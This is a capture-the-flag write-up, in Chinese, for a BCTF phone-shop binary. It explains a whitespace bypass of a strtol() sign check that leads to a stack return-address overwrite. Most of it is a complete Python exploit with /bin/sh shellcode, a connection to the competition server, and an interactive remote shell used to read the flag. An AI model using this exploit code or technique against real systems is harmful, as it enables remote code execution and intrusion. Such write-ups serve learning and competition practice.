about 4 years ago

ELF32,在購買手機的函式中,發現了一個導致任意地址寫入的漏洞:

index = strtol(buf, 0, 10);
if ( buf[0] == '-' || index > 8 ){
    //Input error
  }
//中略
s[-index + 8] += 1;

上面檢查 index 範圍的部份是有問題的,表面上它禁止了輸入負數,實際上 strtol() 是允許前置空白的。這會導致後面的 ++s[-index+8] 可以將任意在 s+8 後的位址的值+1,而這個 s 是在 stack 上的,我們可以利用這個漏洞改掉回傳位址。我們利用 Credit card number 把 shellcode 讀到 0x0804b1e0,再將主函式 sub_8048C00() 的返回位址 (原為 0x0804859e) 改掉 (9e -> e0, 85 -> b1),再以指令 d 關閉程序後,就會跳轉到 shellcode 上了。完整的代碼如下:

import socket
import struct
import sys

shellcode = '\x90'*60+'\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10HHHHH'+\
        '\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh0XXXX0000XXXXAAAABBBB'

origin = 0x0804859e
target = 0x0804b1e0

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.251',1234))

def W(x):
    st.send(x+'\n')

W('a')
W('1')
W('c')
W('y')
W('..')
W(shellcode)

ss = 0
for i in range(1,5):
    while True:
        d = origin&((1<<(i*8))-1)
        if d == target&((1<<(i*8))-1):
            break
        origin += 1<<((i-1)*8)
        ss += 1
        W('a')
        W(' -%d'%(15+i)) # -16 ~ -19 為原本的返回位址所在之處

W('d')
st.settimeout(0.1)
try:
    while True:
        st.recv(4096)
except:
    while True:
        s = raw_input('#').strip()
        st.send(s+'\n')
        print st.recv(4096)
st.close()            

代碼執行結果:

$ python a.py
#cat /home/ctf/flag
BCTF{n0W_4ll_Th3_ph0N3s_B3l0ng_T0_y0U~_~}
← BCTF 后门程序 Writeup BCTF 情报窃取 Writeup →